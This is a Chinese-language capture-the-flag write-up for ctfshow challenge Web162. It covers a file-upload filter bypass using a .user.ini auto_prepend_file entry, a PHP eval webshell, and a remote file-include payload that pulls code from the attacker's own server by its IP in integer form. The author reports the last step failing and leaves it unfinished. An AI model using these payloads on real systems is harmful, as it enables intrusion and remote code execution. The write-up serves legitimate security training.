ctfshow(162)--文件上传漏洞--远程文件包含

Web162

进入界面:

思路

先传个文件测试一下过滤:
过滤了特别多符号,注意过滤了点.

我们的思路还是要先上传.user.ini文件:

php 复制代码
//修改前
GIF89a
auto_prepend_file=shell.png

//由于过滤了点,所以修改为
GIF89a
auto_prepend_file=shell

上传.user.ini文件

接下来就是上传包含一句话木马或恶意命令的shell文件。

因为过滤了点,所以我们之前的那些上传方法都不能使用。

这里学习一个新的上传方法:远程文件包含。

现在自己的服务器里写一个shell文件:

php 复制代码
<?php @eval($_POST[1]);?>

然后上传一个远程调用文件到目标靶机:

php 复制代码
GIF89a
<?=include"http://数字IP/shell"?>

这里的数字IP是指自己服务器的IP地址的纯数字形式.下面是相关脚本:

php 复制代码
#IP转换为长整型
def ip2long(ip):
    ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
    result = 0
    for i in range(4): #0,1,2,3
        result = result+int(ip_list[i])*256**(3-i)
    return result
 
#长整型转换为IP
def long2ip(long):
    floor_list = []
    num = long
    for i in reversed(range(4)):
        res = divmod(num,256**i)
        floor_list.append(str(res[0]))
        num = res[1]
    return '.'.join(floor_list)
 
print(ip2long('服务器ip地址'))

上传远程调用文件,后缀设置为.png,抓包修改文件名为shell,成功上传。访问/upload目录:
告警,大意是不允许包含外部网站的内容。

到这里卡住了,看了一些WP,说是要用flask。但是上述远程文件包含的思路是对的,使用flask的内容之后再补上。

相关推荐
汉堡包0013 分钟前
【网安基础】--内网代理转发基本流程(正向与反向代理)
安全·web安全·php
世界尽头与你2 小时前
(修复方案)kibana 未授权访问漏洞
安全·网络安全·渗透测试
独角鲸网络安全实验室3 小时前
WhisperPair漏洞突袭:谷歌Fast Pair协议失守,数亿蓝牙设备陷静默劫持危机
网络安全·数据安全·漏洞·蓝牙耳机·智能设备·fast pair·cve-2025-36911
lingggggaaaa5 小时前
安全工具篇&Go魔改二开&Fscan扫描&FRP代理&特征消除&新增扩展&打乱HASH
学习·安全·web安全·网络安全·golang·哈希算法
小李独爱秋7 小时前
计算机网络经典问题透视:无线个人区域网WPAN的主要特点是什么?
计算机网络·网络安全·信息与通信·信号处理·wpan
贾修行8 小时前
企业级网络安全架构实战:从防火墙部署到远程办公全解析
web安全·架构·智能路由器
模型时代10 小时前
Infosecurity Europe欧洲信息安全展将推出网络安全初创企业专区
安全·web安全·区块链
niaiheni11 小时前
Log4j 漏洞深度分析:CVE-2021-44228 原理与本质
web安全·网络安全·log4j
Hubianji_0912 小时前
[IOS]2026年网络安全、通信技术与计算机科学国际会议(ACCTCS 2026)
计算机网络·安全·web安全·ios·国际会议·国际期刊
rockmelodies12 小时前
Cybersecurity AI (CAI) AI 时代的网络安全自动化框架
人工智能·web安全·自动化